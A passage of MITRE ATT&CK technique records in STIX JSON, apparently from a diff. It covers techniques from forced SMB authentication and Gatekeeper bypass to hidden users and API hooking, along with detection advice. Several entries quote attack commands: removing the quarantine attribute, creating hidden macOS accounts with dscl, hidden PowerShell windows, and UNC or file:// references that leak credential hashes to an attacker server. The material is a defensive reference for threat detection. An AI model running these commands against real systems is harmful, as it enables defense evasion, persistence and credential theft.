including the user's hashed credentials over SMB to the adversary controlled server. (Citation: GitHub Hashjacking) With access to the credential hash, an adversary can perform off-line [Brute Force](https://attack.mitre.org/techniques/T1110) cracking to gain access to plaintext credentials. (Citation: Cylance Redirect to SMB)\n\nThere are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include:\n\n* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017)\n* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\\\[remote address]\\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)", + "id": "attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "attack-pattern", + "x_mitre_detection": "Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause. For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.\n\nMonitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Teodor Cimpoesu", + "Sudhanshu Chauhan, @Sudhanshu_C" + ], + "created": "2018-01-16T16:13:52.465Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "external_references": [ + { + "external_id": "T1187", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1187" + }, + { + "source_name": "Wikipedia Server Message Block", + "description": "Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.", + "url": "https://en.wikipedia.org/wiki/Server_Message_Block" + }, + { + "source_name": "Didier Stevens WebDAV Traffic", + "description": "Stevens, D. (2017, November 13). WebDAV Traffic To Malicious Sites. Retrieved December 21, 2017.", + "url": "https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/" + }, + { + "source_name": "Microsoft Managing WebDAV Security", + "description": "Microsoft. (n.d.). Managing WebDAV Security (IIS 6.0). Retrieved December 21, 2017.", + "url": "https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx" + }, + { + "source_name": "GitHub Hashjacking", + "description": "Dunning, J. (2016, August 1). Hashjacking. Retrieved December 21, 2017.", + "url": "https://github.com/hob0/hashjacking" + }, + { + "source_name": "Cylance Redirect to SMB", + "description": "Cylance. (2015, April 13). Redirect to SMB. Retrieved December 21, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/white_papers/RedirectToSMB.pdf" + }, + { + "source_name": "Osanda Stealing NetNTLM Hashes", + "description": "Malith, O. (2017, March 24). Places of Interest in Stealing NetNTLM Hashes. Retrieved January 26, 2018.", + "url": "https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + } + ], + "modified": "2019-09-16T17:15:43.746Z" + }, + { + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process command-line parameters" + ], + "name": "Gatekeeper Bypass", + "description": "In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called com.apple.quarantine. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. \n\nApps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won\u2019t set this flag. Additionally, other utilities or events like drive-by downloads don\u2019t necessarily set it either. This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command xattr /path/to/MyApp.app for com.apple.quarantine. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)\n \nIn typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS\u2019s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)", + "id": "attack-pattern--6fb6408c-0db3-41d9-a3a1-a32e5f16454e", + "x_mitre_platforms": [ + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "attack-pattern", + "x_mitre_detection": "Monitoring for the removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-06-25T14:44:15.142Z", + "created": "2017-12-14T16:46:06.044Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "external_references": [ + { + "external_id": "T1144", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1144" + }, + { + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", + "source_name": "Methods of Mac Malware Persistence", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + }, + { + "source_name": "Clearing quarantine attribute", + "description": "Rich Trouton. (2012, November 20). Clearing the quarantine extended attribute from downloaded applications. Retrieved July 5, 2017.", + "url": "https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/" + }, + { + "source_name": "OceanLotus for OS X", + "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.", + "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update" + }, + { + "source_name": "Bypassing Gatekeeper", + "description": "Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper. Retrieved July 5, 2017.", + "url": "https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/" + } + ], + "x_mitre_defense_bypassed": [ + "Application whitelisting", + "Anti-virus" + ] + }, + { + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters", + "Binary file metadata" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "name": "Graphical User Interface", + "description": "The Graphical User Interfaces (GUI) is a common way to interact with an operating system. Adversaries may use a system's GUI during an operation, commonly through a remote interactive session such as [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076), instead of through a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), to search for information and execute files via mouse double-click events, the Windows Run command (Citation: Wikipedia Run Command), or other potentially difficult to monitor interactions.", + "x_mitre_remote_support": true, + "id": "attack-pattern--a6525aec-acc4-47fe-92f9-b9b4de4b9228", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Detection of execution through the GUI will likely lead to significant false positives. Other factors should be considered to detect misuse of services that can lead to adversaries gaining access to systems through interactive remote sessions. \n\nUnknown or unusual process launches outside of normal behavior on a particular system occurring through remote interactive sessions are suspicious. Collect and audit security logs that may indicate access to and use of Legitimate Credentials to access remote systems within the network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:30:50.342Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "external_references": [ + { + "external_id": "T1061", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1061" + }, + { + "source_name": "Wikipedia Run Command", + "description": "Wikipedia. (2018, August 3). Run Command. Retrieved October 12, 2018.", + "url": "https://en.wikipedia.org/wiki/Run_command" + } + ], + "modified": "2019-06-25T14:39:33.416Z" + }, + { + "x_mitre_data_sources": [ + "Windows event logs" + ], + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "name": "Group Policy Modification", + "description": "Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. \n\nGroup policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predicable network path \\\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) \n\nLike other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.\n\nMalicious GPO modifications can be used to implement [Scheduled Task](https://attack.mitre.org/techniques/T1053), [Disabling Security Tools](https://attack.mitre.org/techniques/T1089), [Remote File Copy](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1035) and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs) Publicly available scripts such as New-GPOImmediateTask can be leveraged to automate the creation of a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <GPO_PATH>\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <GPO_PATH>\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)\n", + "id": "attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d", + "modified": "2019-10-04T21:19:24.807Z", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "It is possible to detect GPO modifications by monitoring directory service changes using Windows event logs. Several events may be logged for such GPO modifications, including:\n\n* Event ID 5136 - A directory service object was modified\n* Event ID 5137 - A directory service object was created\n* Event ID 5138 - A directory service object was undeleted\n* Event ID 5139 - A directory service object was moved\n* Event ID 5141 - A directory service object was deleted\n\n\nGPO abuse will often be accompanied by some other behavior such as [Scheduled Task](https://attack.mitre.org/techniques/T1053), which will have events associated with it to detect. Subsequent permission value modifications, like those to SeEnableDelegationPrivilege, can also be searched for in events associated with privileges assigned to new logons (Event ID 4672) and assignment of user rights (Event ID 4704). ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Itamar Mizrahi", + "Tristan Bennett, Seamless Intelligence" + ], + "created": "2019-03-07T14:10:32.650Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1484", + "url": "https://attack.mitre.org/techniques/T1484" + }, + { + "description": "srachui. (2012, February 13). Group Policy Basics \u2013 Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019.", + "source_name": "TechNet Group Policy Basics", + "url": "https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/" + }, + { + "description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.", + "source_name": "ADSecurity GPO Persistence 2016", + "url": "https://adsecurity.org/?p=2716" + }, + { + "description": "Robbins, A. (2018, April 2). A Red Teamer\u2019s Guide to GPOs and OUs. Retrieved March 5, 2019.", + "source_name": "Wald0 Guide to GPOs", + "url": "https://wald0.com/?p=179" + }, + { + "description": "Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved March 5, 2019.", + "source_name": "Harmj0y Abusing GPO Permissions", + "url": "http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/" + }, + { + "description": "Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved March 5, 2019.", + "source_name": "Mandiant M Trends 2016", + "url": "https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf" + }, + { + "description": "Microsoft Secure Team. (2016, June 1). Hacking Team Breach: A Cyber Jurassic Park. Retrieved March 5, 2019.", + "source_name": "Microsoft Hacking Team Breach", + "url": "https://www.microsoft.com/security/blog/2016/06/01/hacking-team-breach-a-cyber-jurassic-park/" + }, + { + "description": "Schroeder, W. (2017, January 10). The Most Dangerous User Right You (Probably) Have Never Heard Of. Retrieved March 5, 2019.", + "source_name": "Harmj0y SeEnableDelegationPrivilege Right", + "url": "http://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/" + } + ], + "x_mitre_defense_bypassed": [ + "System access controls", + "File system access controls" + ] + }, + { + "x_mitre_data_sources": [ + "Process monitoring", + "Authentication logs", + "File monitoring", + "Environment variable" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "HISTCONTROL", + "description": "The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". HISTCONTROL can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that \u201c ls\u201d will not be saved, but \u201cls\u201d would be saved by history. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.", + "id": "attack-pattern--086952c4-5b90-4185-b573-02bad8e11953", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Correlating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL environment variable is also suspicious.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-06-25T14:23:11.141Z", + "created": "2017-12-14T16:46:06.044Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "external_references": [ + { + "external_id": "T1148", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1148" + } + ], + "x_mitre_defense_bypassed": [ + "Log analysis", + "Host forensic analysis" + ] + }, + { + "x_mitre_data_sources": [ + "Asset management", + "Data loss prevention" + ], + "name": "Hardware Additions", + "description": "Adversaries may introduce computer accessories, computers, or networking hardware into a system or network that can be used as a vector to gain access. While public references of usage by APT groups are scarce, many penetration testers leverage hardware additions for initial access. Commercial and open source products are leveraged with capabilities such as passive network tapping (Citation: Ossmann Star Feb 2011), man-in-the middle encryption breaking (Citation: Aleks Weapons Nov 2015), keystroke injection (Citation: Hak5 RubberDuck Dec 2016), kernel memory reading via DMA (Citation: Frisk DMA August 2016), adding new wireless access to an existing network (Citation: McMillan Pwn March 2012), and others.", + "id": "attack-pattern--d40239b3-05ff-46d8-9bdd-b46d13463ef9", + "x_mitre_platforms": [ + "Windows", + "Linux", + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Asset management systems may help with the detection of computer systems or network devices that should not exist on a network. \n\nEndpoint sensors may be able to detect the addition of hardware via USB, Thunderbolt, and other external device communication ports.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "initial-access" + } + ], + "external_references": [ + { + "external_id": "T1200", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1200" + }, + { + "source_name": "Ossmann Star Feb 2011", + "description": "Michael Ossmann. (2011, February 17). Throwing Star LAN Tap. Retrieved March 30, 2018.", + "url": "https://ossmann.blogspot.com/2011/02/throwing-star-lan-tap.html" + }, + { + "source_name": "Aleks Weapons Nov 2015", + "description": "Nick Aleks. (2015, November 7). Weapons of a Pentester - Understanding the virtual & physical tools used by white/black hat hackers. Retrieved March 30, 2018.", + "url": "http://www.bsidesto.ca/2015/slides/Weapons_of_a_Penetration_Tester.pptx" + }, + { + "source_name": "Hak5 RubberDuck Dec 2016", + "description": "Hak5. (2016, December 7). Stealing Files with the USB Rubber Ducky \u2013 USB Exfiltration Explained. Retrieved March 30, 2018.", + "url": "https://www.hak5.org/blog/main-blog/stealing-files-with-the-usb-rubber-ducky-usb-exfiltration-explained" + }, + { + "source_name": "Frisk DMA August 2016", + "description": "Ulf Frisk. (2016, August 5). Direct Memory Attack the Kernel. Retrieved March 30, 2018.", + "url": "https://www.youtube.com/watch?v=fXthwl6ShOg" + }, + { + "source_name": "McMillan Pwn March 2012", + "description": "Robert McMillan. (2012, March 3). The Pwn Plug is a little white box that can hack your network. Retrieved March 30, 2018.", + "url": "https://arstechnica.com/information-technology/2012/03/the-pwn-plug-is-a-little-white-box-that-can-hack-your-network/" + } + ], + "modified": "2019-07-17T21:35:06.932Z" + }, + { + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "x_mitre_permissions_required": [ + "User" + ], + "name": "Hidden Files and Directories", + "description": "To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \u2018hidden\u2019 file. These files don\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls \u2013a for Linux and macOS).\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.\n\n### Windows\n\nUsers can mark specific files as hidden by using the attrib.exe binary. Simply do attrib +h filename to mark a file or folder as hidden. Similarly, the \u201c+s\u201d marks a file as a system file and the \u201c+r\u201d flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively \u201c/S\u201d.\n\n### Linux/Mac\n\nUsers can mark specific files as hidden simply by putting a \u201c.\u201d as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: defaults write com.apple.finder AppleShowAllFiles YES, and then relaunch the Finder Application.\n\n### Mac\n\nFiles on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker).\nMany applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace. For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys.", + "id": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "x_mitre_detection": "Monitor the file system and shell commands for files being created with a leading \".\" and the Windows command-line use of attrib.exe to add the hidden attribute.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-31T13:45:13.024Z", + "external_references": [ + { + "external_id": "T1158", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1158" + }, + { + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "source_name": "Sofacy Komplex Trojan", + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + }, + { + "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.", + "source_name": "Antiquated Mac Malware", + "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/" + }, + { + "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.", + "source_name": "WireLurker", + "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf" + } + ], + "x_mitre_defense_bypassed": [ + "Host forensic analysis" + ] + }, + { + "x_mitre_data_sources": [ + "Authentication logs", + "File monitoring" + ], + "x_mitre_permissions_required": [ + "Administrator", + "root" + ], + "name": "Hidden Users", + "description": "Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. By using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: sudo dscl . -create /Users/username UniqueID 401 (Citation: Cybereason OSX Pirrit).", + "id": "attack-pattern--ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff", + "x_mitre_platforms": [ + "macOS" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "This technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "external_references": [ + { + "external_id": "T1147", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1147" + }, + { + "source_name": "Cybereason OSX Pirrit", + "description": "Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved July 8, 2017.", + "url": "https://www2.cybereason.com/research-osx-pirrit-mac-os-x-secuirty" + } + ], + "modified": "2019-06-25T14:31:08.274Z" + }, + { + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_data_sources": [ + "Windows event logs", + "PowerShell logs", + "Process command-line parameters", + "Process monitoring", + "File monitoring" + ], + "name": "Hidden Window", + "description": "Adversaries may implement hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. Adversaries may abuse operating system functionality to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.\n\n### Windows\nThere are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1086), Jscript, and VBScript to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden. (Citation: PowerShell About 2019)\n\n### Mac\nThe configurations for how applications run on macOS are listed in property list (plist) files. One of the tags in these files can be\u00a0apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window.(Citation: Antiquated Mac Malware)\n", + "id": "attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", + "x_mitre_platforms": [ + "macOS", + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "type": "attack-pattern", + "x_mitre_detection": "Monitor processes and command-line arguments for actions indicative of hidden windows. In Windows, enable and configure event logging and PowerShell logging to check for the hidden window style. In MacOS, plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the apple.awt.UIElement or any other suspicious plist tag in plist files and flag them.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_contributors": [ + "Travis Smith, Tripwire" + ], + "created": "2017-12-14T16:46:06.044Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "external_references": [ + { + "external_id": "T1143", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1143" + }, + { + "description": "Wheeler, S. et al.. (2019, May 1). About PowerShell.exe. Retrieved October 11, 2019.", + "source_name": "PowerShell About 2019", + "url": "https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1" + }, + { + "source_name": "Antiquated Mac Malware", + "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.", + "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/" + } + ], + "modified": "2019-10-15T22:00:58.582Z" + }, + { + "x_mitre_data_sources": [ + "API monitoring", + "Binary file metadata", + "DLL monitoring", + "Loaded DLLs", + "Process monitoring", + "Windows event logs" + ], + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "name": "Hooking", + "description": "Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. \n\nHooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Endgame Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored. (Citation: Endgame Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. (Citation: Endgame Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.\n\nMalicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)\n\nHooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)", + "id": "attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5", + "x_mitre_platforms": [ + "Windows" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "type": "attack-pattern", + "x_mitre_detection": "Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017)\n\nRootkits detectors (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity.\n\nVerify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + 